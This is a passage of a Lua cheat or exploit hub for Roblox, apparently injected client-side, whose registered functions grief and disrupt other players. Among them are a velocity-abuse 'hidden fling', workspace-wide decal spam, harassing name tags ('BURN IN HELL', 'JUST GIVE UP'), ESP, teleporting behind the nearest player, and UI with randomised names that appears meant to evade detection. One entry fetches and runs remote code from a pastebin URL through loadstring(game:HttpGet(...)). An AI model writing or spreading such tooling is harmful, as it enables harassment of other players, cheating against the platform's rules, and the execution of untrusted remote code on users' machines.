local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = 8408806737
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
while true do
game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
end
end, "Troll", "NOT FE")
FunctionManager:register("JOHN DOE", function()
local redSkyboxAssetId = "rbxassetid://1012887"
local sky = Lighting:FindFirstChildOfClass("Sky")
if not sky then
sky = Instance.new("Sky", Lighting)
end
sky.SkyboxBk = redSkyboxAssetId
sky.SkyboxDn = redSkyboxAssetId
sky.SkyboxFt = redSkyboxAssetId
sky.SkyboxLf = redSkyboxAssetId
sky.SkyboxRt = redSkyboxAssetId
sky.SkyboxUp = redSkyboxAssetId
if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = ReplicatedStorage
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "PersistentSoundGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local button = Instance.new("TextButton")
button.Size = UDim2.new(0, 150, 0, 50)
button.Position = UDim2.new(0.02, 0, 0.477, 0)
button.Text = "Sound Toggle"
button.Font = Enum.Font.SourceSansBold
button.TextSize = 20
button.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
button.TextColor3 = Color3.new(1, 1, 1)
button.Parent = screenGui
local backgroundSound = SoundService:FindFirstChild("PersistentBGSound")
if not backgroundSound then
backgroundSound = Instance.new("Sound")
backgroundSound.Name = "PersistentBGSound"
backgroundSound.SoundId = "rbxassetid://19094700"
backgroundSound.PlaybackSpeed = 0.221
backgroundSound.Looped = true
backgroundSound.Volume = 1
backgroundSound.Parent = SoundService
backgroundSound:Play()
end
button.Activated:Connect(function()
backgroundSound.Playing = not backgroundSound.Playing
end)
local function setupCharacter(character)
local humanoid = character:WaitForChild("Humanoid")
local torso = character:WaitForChild("Torso")
local hrp = character:WaitForChild("HumanoidRootPart")
local tool = Instance.new("Tool")
tool.Name = "Slash"
tool.RequiresHandle = false
tool.Parent = player.Backpack
tool.Activated:Connect(function()
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://186934658"
local track = humanoid:LoadAnimation(animation)
track:Play()
track:AdjustSpeed(2)
local s = Instance.new("Sound", torso)
s.SoundId = "rbxassetid://28144425"
s:Play()
task.wait(0.2)
local s2 = Instance.new("Sound", torso)
s2.SoundId = "rbxassetid://429400881"
s2.Volume = 0.2
s2:Play()
end)
local naeeym = Instance.new("BillboardGui", character)
naeeym.Size = UDim2.new(0, 100, 0, 40)
naeeym.StudsOffset = Vector3.new(0, 2, 0)
naeeym.Adornee = character:WaitForChild("Head")
local tecks = Instance.new("TextLabel", naeeym)
tecks.BackgroundTransparency = 1
tecks.BorderSizePixel = 0
tecks.Font = Enum.Font.Fantasy
tecks.TextSize = 24
tecks.TextStrokeTransparency = 0
tecks.TextStrokeColor3 = Color3.new(0, 0, 0)
tecks.TextColor3 = Color3.new(0, 0, 0)
tecks.Size = UDim2.new(1, 0, 0.5, 0)
tecks.Text = "John Doe"
local function changeName(newName)
tecks.Text = newName
end
local function shakeTag()
local originalOffset = naeeym.StudsOffset
for _ = 1, 10 do
naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1))
task.wait(0.05)
end
naeeym.StudsOffset = originalOffset
end
coroutine.wrap(function()
while character:IsDescendantOf(workspace) do
changeName("BURN IN HELL")
shakeTag()
task.wait(0.2)
changeName("STOP")
task.wait(0.1)
changeName("JUST GIVE UP")
shakeTag()
task.wait(0.2)
changeName("STOP")
shakeTag()
task.wait(0.2)
changeName("JOHN DOE")
shakeTag()
task.wait(0.3)
changeName("HOPELESS")
shakeTag()
task.wait(0.3)
end
end)()
local footPartSize = Vector3.new(10, 0.5, 10)
local floorPartColor = BrickColor.Black()
local floorMaterial = Enum.Material.Neon
local yOffset = -2.8
local lastPosition = hrp.Position
local standingTimer = 0
RunService.Heartbeat:Connect(function(dt)
if not character:IsDescendantOf(workspace) then return end
local currentPosition = hrp.Position
standingTimer += dt
local distanceMoved = (currentPosition - lastPosition).Magnitude
local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z)
local function createFootstep(position)
local part = Instance.new("Part")
part.Size = footPartSize
part.Position = position
part.Anchored = true
part.CanCollide = false
part.BrickColor = floorPartColor
part.Material = floorMaterial
part.Transparency = 0.5
part.Parent = workspace
task.spawn(function()
for i = 1, 10 do
part.Transparency = i * 0.03
task.wait(0.05)
end
end)
Debris:AddItem(part, 1)
end
if distanceMoved > 1 then
createFootstep(stepPosition)
lastPosition = currentPosition
standingTimer = 0
elseif standingTimer > 0.5 then
createFootstep(stepPosition)
standingTimer = 0
end
end)
local movel = 0.1
local hiddenfling = true
local function fling()
while hiddenfling and character:IsDescendantOf(workspace) do
if hrp then
local originalVelocity = hrp.Velocity
hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0)
RunService.RenderStepped:Wait()
hrp.Velocity = originalVelocity
RunService.Stepped:Wait()
hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0)
movel = -movel
end
RunService.Heartbeat:Wait()
end
end
coroutine.wrap(fling)()
end
player.CharacterAdded:Connect(setupCharacter)
if player.Character then
setupCharacter(player.Character)
end
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local mouse = player:GetMouse()
local function teleportToMousePosition()
local character = player.Character
if not character or not character:FindFirstChild("HumanoidRootPart") then
return
end
local target = mouse.Hit
if target then
character:MoveTo(target.Position)
end
end
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.T then
teleportToMousePosition()
end
end)
end, "Trolling", "BROKEN")
FunctionManager:register("Invis gui", function()
loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))()
end, "Trolling", "Credits to the original maker!")
FunctionManager:register("DANCE", function()
local anim = Instance.new("Animation")
anim.AnimationId = "rbxassetid://27789359"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim)
track:Play()
end, "Fun", "DANCE DANCE")
FunctionManager:register("Sound GUI", function()
local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui")
if gui then
gui:Destroy()
return
end
local SoundGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local AddSoundId = Instance.new("TextButton")
local SoundIds = Instance.new("TextBox")
local Default = Instance.new("TextButton")
local Credits = Instance.new("TextLabel")
local Title = Instance.new("TextLabel")
local Swap = Instance.new("ImageButton")
local PlayBackSpeed = Instance.new("TextBox")
local Volume = Instance.new("TextBox")
local Looped = Instance.new("TextBox")
local Exit = Instance.new("ImageButton")
local Frame2 = Instance.new("Frame")
local Open = Instance.new("ImageButton")
local spoky = Instance.new("Sound")
local c00lflag = Instance.new("Sound")
local drag = Instance.new("UIDragDetector")
drag.Parent = Frame
c00lflag.Name = "c00lsound23sas"
c00lflag.Parent = Frame
spoky.Parent = Frame
spoky.SoundId = "rbxassetid://95156028272944"
spoky.Volume = 3
spoky.PlaybackSpeed = 0.2
spoky.Name = "spoky"
--Properties:
SoundGui.Name = "SoundGui"
SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
SoundGui.ResetOnSpawn = false
Frame.Parent = SoundGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(255, 0, 4)
Frame.BorderSizePixel = 2
Frame.Position = UDim2.new(0, 700, 0, 300)
Frame.Size = UDim2.new(0, 398, 0, 206)
AddSoundId.Name = "AddSoundId"
AddSoundId.Parent = Frame
AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0)
AddSoundId.BorderSizePixel = 2
AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0)
AddSoundId.Size = UDim2.new(0, 307, 0, 36)
AddSoundId.Font = Enum.Font.Arial
AddSoundId.Text = "Add Sound!"
AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255)
AddSoundId.TextSize = 29.000
SoundIds.Name = "SoundIds"
SoundIds.Parent = Frame
SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0)
SoundIds.BorderSizePixel = 2
SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
SoundIds.Size = UDim2.new(0, 307, 0, 33)
SoundIds.Font = Enum.Font.Arial
SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://"
SoundIds.Text = ""
SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255)
SoundIds.TextScaled = true
SoundIds.TextSize = 14.000
SoundIds.TextWrapped = true
Default.Name = "Default"
Default.Parent = Frame
Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Default.BorderColor3 = Color3.fromRGB(255, 0, 0)
Default.BorderSizePixel = 2
Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0)
Default.Size = UDim2.new(0, 307, 0, 28)
Default.Font = Enum.Font.Arial
Default.Text = "Spooky Scary Skeletons!"
Default.TextColor3 = Color3.fromRGB(255, 255, 255)
Default.TextSize = 23.000
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Credits.BackgroundTransparency = 1.000
Credits.BorderColor3 = Color3.fromRGB(0, 0, 0)
Credits.BorderSizePixel = 0
Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0)
Credits.Size = UDim2.new(0, 153, 0, 17)
Credits.Font = Enum.Font.SourceSans
Credits.Text = "made by: 1known. On discord!"
Credits.TextColor3 = Color3.fromRGB(255, 255, 255)
Credits.TextSize = 14.000
Title.Name = "Title"
Title.Parent = Frame
Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Title.BackgroundTransparency = 1.000
Title.BorderColor3 = Color3.fromRGB(255, 0, 4)
Title.BorderSizePixel = 2
Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0)
Title.Size = UDim2.new(0, 231, 0, 48)
Title.Font = Enum.Font.Arial
Title.Text = "c00lSound GUI!"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 33.000
Title.TextWrapped = true
Swap.Name = "Swap"
Swap.Parent = Frame
Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Swap.BorderColor3 = Color3.fromRGB(255, 0, 0)
Swap.BorderSizePixel = 0
Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0)
Swap.Size = UDim2.new(0, 23, 0, 21)
Swap.Image = "rbxassetid://2500573769"
PlayBackSpeed.Name = "PlayBackSpeed"
PlayBackSpeed.Parent = Frame
PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0)
PlayBackSpeed.BorderSizePixel = 2
PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33)
PlayBackSpeed.Visible = false
PlayBackSpeed.Font = Enum.Font.Arial
PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!"
PlayBackSpeed.Text = "1"
PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255)
PlayBackSpeed.TextScaled = true
PlayBackSpeed.TextSize = 14.000
PlayBackSpeed.TextWrapped = true
Volume.Name = "Volume"
Volume.Parent = Frame
Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Volume.BorderColor3 = Color3.fromRGB(255, 0, 0)
Volume.BorderSizePixel = 2
Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Volume.Size = UDim2.new(0, 307, 0, 33)
Volume.Visible = false
Volume.Font = Enum.Font.Arial
Volume.PlaceholderText = "Volume! Enter a number."
Volume.Text = "0.5"
Volume.TextColor3 = Color3.fromRGB(255, 255, 255)
Volume.TextScaled = true
Volume.TextSize = 14.000
Volume.TextWrapped = true
Looped.Name = "Looped"
Looped.Parent = Frame
Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Looped.BorderColor3 = Color3.fromRGB(255, 0, 0)
Looped.BorderSizePixel = 2
Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Looped.Size = UDim2.new(0, 307, 0, 33)
Looped.Visible = false
Looped.Font = Enum.Font.Arial
Looped.PlaceholderText = "Is it looped?, Type: False or True"
Looped.Text = "False"
Looped.TextColor3 = Color3.fromRGB(255, 255, 255)
Looped.TextScaled = true
Looped.TextSize = 14.000
Looped.TextWrapped = true
Exit.Name = "Exit"
Exit.Parent = Frame
Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Exit.BorderColor3 = Color3.fromRGB(255, 0, 0)
Exit.BorderSizePixel = 2
Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0)
Exit.Size = UDim2.new(0, 25, 0, 23)
Exit.Image = "rbxassetid://14930908086"
Frame2.Name = "Frame2"
Frame2.Parent = SoundGui
Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame2.BorderSizePixel = 0
Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0)
Frame2.Size = UDim2.new(0, 25, 0, 23)
Frame2.Visible = false
Open.Name = "Open"
Open.Parent = Frame2
Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Open.BorderColor3 = Color3.fromRGB(255, 0, 0)
Open.BorderSizePixel = 2
Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0)
Open.Size = UDim2.new(0, 25, 0, 23)
Open.Image = "rbxassetid://14930908086"
-- Scripts:
local function GSSVM_fake_script() -- AddSoundId.LocalScript
local script = Instance.new('LocalScript', AddSoundId)
local parent = script.Parent
parent.Activated:Connect(function()
local SoundId = parent.Parent:WaitForChild("SoundIds").Text
local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text
local Volume = parent.Parent:WaitForChild("Volume").Text
local looped = parent.Parent:WaitForChild("Looped").Text
if SoundId == "" then
parent.Text = "No Sound ID!"
wait(2)
parent.Text = "Add Sound!"
return
end
local id = "rbxassetid://" .. SoundId
local speed = tonumber(Playbackspeed) or 1
local existingSound = game.Workspace:FindFirstChild("c00lsound23sas")
if existingSound then
existingSound.SoundId = id
existingSound.PlaybackSpeed = speed
existingSound.Volume = Volume
if looped == "False" then
existingSound.Looped = false
elseif looped == "True" then
existingSound.Looped = true
else
existingSound.Looped = false
end
existingSound:Play()
else
local clonedSound = parent.Parent.c00lsound23sas:Clone()
clonedSound.Parent = game.Workspace
clonedSound.SoundId = id
clonedSound.PlaybackSpeed = speed
clonedSound.Volume = Volume
if looped == "False" then
clonedSound.Looped = false
elseif looped == "True" then
clonedSound.Looped = true
else
clonedSound.Looped = false
end
clonedSound.Looped = looped
clonedSound:Play()
end
parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!"
parent.TextScaled = true
wait(3.5)
parent.TextScaled = false
parent.Text = "Add Sound!"
end)
end
coroutine.wrap(GSSVM_fake_script)()
local function MWUVEW_fake_script() -- Default.LocalScript
local script = Instance.new('LocalScript', Default)
local parent = script.Parent
local sound = parent.Parent.spoky
parent.Activated:Connect(function()
if sound.Playing == true then
sound.Playing = false
else
sound.Playing = true
end
end)
end
coroutine.wrap(MWUVEW_fake_script)()
local function BIKZQ_fake_script() -- Swap.LocalScript
local script = Instance.new('LocalScript', Swap)
local parent = script.Parent
local playback = parent.Parent.PlayBackSpeed
local Sound = parent.Parent.SoundIds
local volume = parent.Parent.Volume
local looped = parent.Parent.Looped
parent.Activated:Connect(function()
if Sound.Visible == true then
Sound.Visible = false
playback.Visible = true
volume.Visible = false
looped.Visible = false
elseif playback.Visible ==true then
playback.Visible = false
Sound.Visible = false
volume.Visible = true
looped.Visible = false
elseif volume.Visible == true then
Sound.Visible = false
playback.Visible = false
volume.Visible = false
looped.Visible = true
elseif looped.Visible == true then
Sound.Visible = true
playback.Visible = false
volume.Visible = false
looped.Visible = false
end
end)
end
coroutine.wrap(BIKZQ_fake_script)()
local function AXYPXC_fake_script() -- Exit.LocalScript
local script = Instance.new('LocalScript', Exit)
local parent = script.Parent
local main = parent.Parent
parent.Activated:Connect(function()
main.Parent.Frame2.Visible = true
main.Visible = false
end)
end
coroutine.wrap(AXYPXC_fake_script)()
local function WHTXC_fake_script() -- Open.LocalScript
local script = Instance.new('LocalScript', Open)
local parent = script.Parent
local main = parent.Parent.Parent.Frame
parent.Activated:Connect(function()
main.Visible = true
parent.Parent.Visible = false
end)
end
coroutine.wrap(WHTXC_fake_script)()
end, "General", "NOT FE")
FunctionManager:register("Bind Key", function()
if bindFrame then return end
local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die)
if not gui then NotifyERROR("Gui not found!"); return end
screenGui = gui
bindFrame = Instance.new("Frame")
bindFrame.Name = generate_string(math_random(1, 10))
bindFrame.Size = UDim2.new(1,0,1,0)
bindFrame.BackgroundColor3 = Color3.new(0,0,0)
bindFrame.BackgroundTransparency = 0.5
bindFrame.ZIndex = 50
bindFrame.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = generate_string(math_random(1, 10))
panel.Size = UDim2.new(0, 300, 0, 400)
panel.Position = UDim2.new(0.5, -150, 0.5, -200)
panel.BackgroundColor3 = Color3.fromRGB(35,35,35)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = bindFrame
local closeBtn = Instance.new("TextButton")
closeBtn.Size = UDim2.new(0, 60, 0, 24)
closeBtn.Position = UDim2.new(1, -64, 0, 4)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
bindFrame:Destroy()
bindFrame = nil
if bindConn then bindConn:Disconnect(); bindConn = nil end
end)
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -8, 0, 24)
title.Position = UDim2.new(0, 4, 0, 4)
title.BackgroundTransparency = 1
title.Font = Enum.Font.SourceSansBold
title.TextSize = 18
title.TextColor3 = Color3.new(1,1,1)
title.Text = "Bind Key to Function"
title.ZIndex = 52
title.Parent = panel
local list = Instance.new("ScrollingFrame")
list.Size = UDim2.new(1, -8, 1, -40)
list.Position = UDim2.new(0, 4, 0, 32)
list.CanvasSize = UDim2.new(0,0,0,0)
list.ScrollBarThickness = 6
list.ZIndex = 51
list.Parent = panel
local uiList = Instance.new("UIListLayout")
uiList.Padding = UDim.new(0,4)
uiList.SortOrder = Enum.SortOrder.LayoutOrder
uiList.Parent = list
local function refreshList()
for _, child in ipairs(list:GetChildren()) do
if child:IsA("TextButton") or child:IsA("TextLabel") then
child:Destroy()
end
end
for _, cat in ipairs(FunctionManager.Categories) do
local hdr = Instance.new("TextLabel")
hdr.Size = UDim2.new(1,0,0,24)
hdr.BackgroundTransparency = 1
hdr.Font = Enum.Font.SourceSansBold
hdr.TextSize = 16
hdr.TextColor3 = Color3.new(1,1,0)
hdr.Text = "["..cat.."]"
hdr.ZIndex = 51
hdr.Parent = list
for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1,0,0,24)
btn.Font = Enum.Font.SourceSans
btn.TextSize = 14
btn.BackgroundColor3 = Color3.fromRGB(50,50,50)
btn.TextColor3 = Color3.new(1,1,1)
btn.ZIndex = 51
local bound = {}
for key, fn in pairs(customBinds) do
if fn == cb then table.insert(bound, tostring(key)) end
end
local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or ""
btn.Text = name..suffix
btn.Parent = list
btn.MouseButton1Click:Connect(function()
waitingBindFunction = { cb = cb, btn = btn, name = name }
btn.Text = name.." → [Press a key]"
end)
end
end
list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8)
end
bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed or not waitingBindFunction then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
customBinds[input.KeyCode] = waitingBindFunction.cb
waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")"
waitingBindFunction = nil
end
end)
refreshList()
end, "Utility", "BUGGED")
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
local fn = customBinds[input.KeyCode]
if fn and type(fn) == "function" then
pcall(fn)
end
end
end)
FunctionManager:register("JumpUp", function()
local char = Player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end
end, "Movement", "Leap into the air!")
FunctionManager:register("Sit", function()
local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid")
if hum then hum.Sit = true end
end, "Movement", "SIT DOWN")
FunctionManager:register("INF JUMP", function()
infJumpEnabled = not infJumpEnabled
if infJumpEnabled then
local debounce = false
infJumpConnection = UserInputService.JumpRequest:Connect(function()
if debounce then return end
debounce = true
local character = Player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
task.wait()
debounce = false
end)
else
if infJumpConnection then
infJumpConnection:Disconnect()
infJumpConnection = nil
end
end
end, "Movement", "Jump Forever!")
FunctionManager:register("WalkSpeed Slider", function()
if screenGui:FindFirstChild("WalkSpeedModal") then return end
local overlay = Instance.new("Frame")
overlay.Name = "WalkSpeedModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "SliderPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minS, maxS = 8, 100
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minS + (maxS-minS)*rel)
Humanoid.WalkSpeed = v
label.Text = "WalkSpeed: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your walkspeed!")
FunctionManager:register("Server Hop", function()
local success, res = pcall(function()
return game:HttpGet(
"https://games.roblox.com/v1/games/" ..
PlaceId ..
"/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true"
)
end)
if not success then
return NotifyERROR("[Server Hop] HTTP request failed")
end
local body
local ok, err = pcall(function()
body = HttpService:JSONDecode(res)
end)
if not ok or type(body) ~= "table" or type(body.data) ~= "table" then
return NotifyERROR("[Server Hop] Invalid JSON response")
end
local servers = {}
for _, v in ipairs(body.data) do
if type(v) == "table"
and tonumber(v.playing)
and tonumber(v.maxPlayers)
and v.playing < v.maxPlayers
and v.id ~= JobId then
table.insert(servers, v.id)
end
end
if #servers == 0 then
return NotifyERROR("[Server Hop] No available servers found")
end
local choice = servers[math.random(1, #servers)]
TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer)
end, "Utility","Changes Servers")
FunctionManager:register("TP Behind Closest", function()
if not HRP then
NotifyERROR("No HumanoidRootPart found.")
return
end
local closestPlayer
local shortestDistance = math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local distance = (otherRoot.Position - HRP.Position).Magnitude
if distance < shortestDistance then
shortestDistance = distance
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3
local newCFrame = CFrame.new(behindPosition, targetRoot.Position)
HRP.CFrame = newCFrame
end
else
NotifyERROR("No nearby player found.")
end
end, "Movement", "Owai moi, shinderu. NANI?")
FunctionManager:register("Scare Closest Player", function()
if not HRP then
NotifyERROR("Could not find your HumanoidRootPart.")
return
end
local closestPlayer, closestDistance = nil, math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local dist = (otherRoot.Position - HRP.Position).Magnitude
if dist < closestDistance then
closestDistance = dist
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local oldPos = HRP.CFrame
HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2
HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position)
task.wait(0.5)
HRP.CFrame = oldPos
end
else
NotifyERROR("No target player nearby.")
end
end, "Fun", "FNAF reference")
FunctionManager:register("ESP Toggle", function()
espOn = not espOn
for _, plr in ipairs(Players:GetPlayers()) do
if plr.Character and plr ~= Player then
local head = plr.Character:FindFirstChild("Head")
if head then
local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head)
bb.Name = "ESP"
bb.Size = UDim2.new(0,80,0,20)
bb.AlwaysOnTop = true
local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb)
lbl.Name = "Name"
lbl.BackgroundTransparency = 1
